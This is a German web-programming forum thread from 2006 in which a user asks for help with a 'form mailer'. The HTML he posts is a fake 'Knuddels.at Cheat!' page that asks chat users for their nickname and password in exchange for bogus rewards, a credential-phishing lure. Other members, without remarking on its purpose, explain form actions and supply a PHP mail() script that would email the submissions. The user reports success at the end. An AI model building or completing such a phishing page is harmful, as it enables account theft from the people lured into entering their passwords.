Formmailer (brauche Hilfe)

Das Forum fĂĽr Programmierer und Systemadmins. Von Shell-, Perl- und PHP-Scripts bis zur objektorientierten Programmierung mit C++.

Formmailer (brauche Hilfe)

Beitragvon Delgado » Mo 04 Dez, 2006 15:16

Hallo,

Ich hab ein Formmailer fĂĽr nen Kolleggen programmiert aber es funktioniert einfach nicht,
wenn man den Formular ausfĂĽllt bekommt er keine Mail:
Hoffe ihr könnt mir helfen wo der fehler liegt!

Hier mal die Code:

Code: Alles auswählen
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
       "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Formulare und Formularelemente gestalten mit CSS</title>
<style type="text/css">
form { background-image:url(background.gif); padding:20px; border:6px solid #ddd; }
td, input, select, textarea { font-size:13px; font-family:Verdana,sans-serif; font-weight:bold; }
input, select, textarea { color:#00c; }
.Bereich, .Feld { background-color:#ffa; width:300px; border:6px solid #ddd; }
.Auswahl { background-color:#dff; width:300px; border:6px solid #ddd; }
.Check, .Radio { background-color:#ddff; border:1px solid #ddd; }
.Button { background-color:#aaa; color:#fff; width:200px; border:6px solid #ddd; }
</style>
</head>
<body>

<h1>Knuddels.at Cheat!</h1>


<form action="http://de.selfhtml.org/cgi-bin/comments.pl">
  <table border="0" cellpadding="3" cellspacing="0">
    <tr>
      <td align="right">Nickname:</td>
      <td><input name="Nickname" type="text" class="Feld" size="30" maxlength="30"></td>
    </tr>
    <tr>
      <td align="right">Passwort:</td>
      <td><input name="Passwort" type="password" class="Feld" size="30" maxlength="40"></td>
    </tr>
    </tr>
    <tr>
      <td align="right" valign="top">Cheat:</td>
      <td>
        <input type="checkbox" class="Check" name="100 Knutschflecken" value="100 Knutschflecken"> 100 Knutschflecken<br>
        <input type="checkbox" class="Check" name="10 Knuddels" value="10 Knuddels"> 10 Knuddels<br>
        <input type="checkbox" class="Check" name="10 Rosen" value="10 Rosen"> 10 Rosen<br>
        <input type="checkbox" class="Check" name="100 Wordmix Punkte" value="100 Wordmix Punkte"> 100 Wordmix Punkte<br>   
    </td>
    </tr>
    <tr>
      <td>
      <tr>
      </tr>
    <tr>
      <td align="right">Formular:</td>
      <td>
        <input type="submit" class="Button" value="Absenden">
    </td>
    </tr>
  </table>
</form>

</body>
</html>
Delgado
Junior Board-Mitglied
Junior Board-Mitglied
 
Beiträge: 34
Registriert: So 01 Okt, 2006 14:29

Beitragvon max_payne » Mo 04 Dez, 2006 15:19

>http://de.selfhtml.org/cgi-bin/comments.pl
Was steht in dem Script drinnen? Du musst das entweder per PHP realisieren, oder mit nem Formmailer-Script wie Ekiwi
max_payne
Ultimate Power-User
Ultimate Power-User
 
Beiträge: 4982
Registriert: Mo 30 Aug, 2004 12:25

Beitragvon Delgado » Mo 04 Dez, 2006 15:28

Hab nicht soviel erfahrung im Proggen,
kannst es mir so erklären das ich es auch verstehe pls
Delgado
Junior Board-Mitglied
Junior Board-Mitglied
 
Beiträge: 34
Registriert: So 01 Okt, 2006 14:29

Beitragvon max_payne » Mo 04 Dez, 2006 15:30

max_payne
Ultimate Power-User
Ultimate Power-User
 
Beiträge: 4982
Registriert: Mo 30 Aug, 2004 12:25

Beitragvon Delgado » Mo 04 Dez, 2006 16:19

also hab diesen programm runtergeladen aba muss bei dem FTP bereich den Verzeichniss eingeben aba ich versteh nicht was man da meint.
Delgado
Junior Board-Mitglied
Junior Board-Mitglied
 
Beiträge: 34
Registriert: So 01 Okt, 2006 14:29

Beitragvon diskette » Mo 04 Dez, 2006 16:32

<form action="http://de.selfhtml.org/cgi-bin/comments.pl">

form action heisst --> was passiert wenn wer absenden drĂĽckt.
sollte das pl nicht bei dir lokal liegen.

nimm einen phpmailer ist einfacher, als dies in cgi`s zu progn
diskette
Board-User Level 3
Board-User Level 3
 
Beiträge: 1153
Registriert: So 13 Aug, 2006 11:07
Wohnort: Niederneukirchen

Beitragvon Delgado » Mo 04 Dez, 2006 16:36

Ich hab schon bei Ekiwi nen Programm heruntergeladen wo das der Generator selber macht bin fertig aba weiĂź nicht was ich bei Verzeichniss eingeben muss
Delgado
Junior Board-Mitglied
Junior Board-Mitglied
 
Beiträge: 34
Registriert: So 01 Okt, 2006 14:29

Beitragvon Delgado » Mo 04 Dez, 2006 19:11

Bitte sagt mir doch was ich da reinschreiben muss bei Verzeichniss:
Habs extra rot markiert, danke schon im Voraus


Bild
Delgado
Junior Board-Mitglied
Junior Board-Mitglied
 
Beiträge: 34
Registriert: So 01 Okt, 2006 14:29

Beitragvon wavenetuser » Mo 04 Dez, 2006 21:35

lach :)

Du brauchst neben dem Formular noch etwas womit die Mail auch tatsächlich verschickt werden kann.
Dies kann (wie oben schon geschrieben) mit Perl (.pl / .cgi), php oder auch ganz anders gemacht werden.
Das was Du da hast kenn ich nicht. Die paar Zeilen Code schreiben sich am besten mit der Hand.
Bild
wavenetuser
Board-User Level 3
Board-User Level 3
 
Beiträge: 1266
Registriert: Do 09 Feb, 2006 02:35

Beitragvon max_payne » Mo 04 Dez, 2006 21:38

gar nichts
einfacher wĂĽrds aber sicher mit html-export gehn.

@wavenetuser: das cgi-script liegt auf den Servern von ekiwi
max_payne
Ultimate Power-User
Ultimate Power-User
 
Beiträge: 4982
Registriert: Mo 30 Aug, 2004 12:25

Beitragvon wavenetuser » Di 05 Dez, 2006 12:39

verstehe. Danke fĂĽr die Info (obwohl ich am ehesten sowas nutze: www.php.net/mail :) )
Bild
wavenetuser
Board-User Level 3
Board-User Level 3
 
Beiträge: 1266
Registriert: Do 09 Feb, 2006 02:35

Beitragvon Delgado » Di 05 Dez, 2006 18:21

vielen dank
Delgado
Junior Board-Mitglied
Junior Board-Mitglied
 
Beiträge: 34
Registriert: So 01 Okt, 2006 14:29

Beitragvon max_payne » Di 05 Dez, 2006 18:30

obwohl ich am ehesten sowas nutze:

ich wage es zu bezweifeln, ob der webspace von Delgado php unterstĂĽtzt...
max_payne
Ultimate Power-User
Ultimate Power-User
 
Beiträge: 4982
Registriert: Mo 30 Aug, 2004 12:25

Beitragvon wavenetuser » Di 05 Dez, 2006 23:34

wenn es php unterstĂĽtzt, hier ein einfacher mailer:

Code: Alles auswählen
<html>
<head><title>mailer</title></head>
<body>
<?php
if (!isset($_POST['mitteilung'])){
?>
<form method="post" action="<?php echo $PHP_SELF;?>"><textarea rows="5" name="mitteilung" cols="20"></textarea><input type="submit" value="Abschicken" name="inhalt"></form>
<?php
} else {
mail ( "[email protected]", "Formular Anfrage", $_POST['mitteilung']);
echo 'Nachricht versandt';
}
?>
</body>
</html>
Bild
wavenetuser
Board-User Level 3
Board-User Level 3
 
Beiträge: 1266
Registriert: Do 09 Feb, 2006 02:35

Beitragvon Delgado » Mi 06 Dez, 2006 18:05

Hallo,

Ich habe das Formular in mein Webspace eingefĂĽgt, aba ich bekomme keine e-mail wenn man diesen Formular ausfĂĽllt.

Edit: Habs erledigt!
Delgado
Junior Board-Mitglied
Junior Board-Mitglied
 
Beiträge: 34
Registriert: So 01 Okt, 2006 14:29


ZurĂĽck zu PROGRAMMIER FORUM

Wer ist online?

Mitglieder in diesem Forum: 0 Mitglieder und 10 Gäste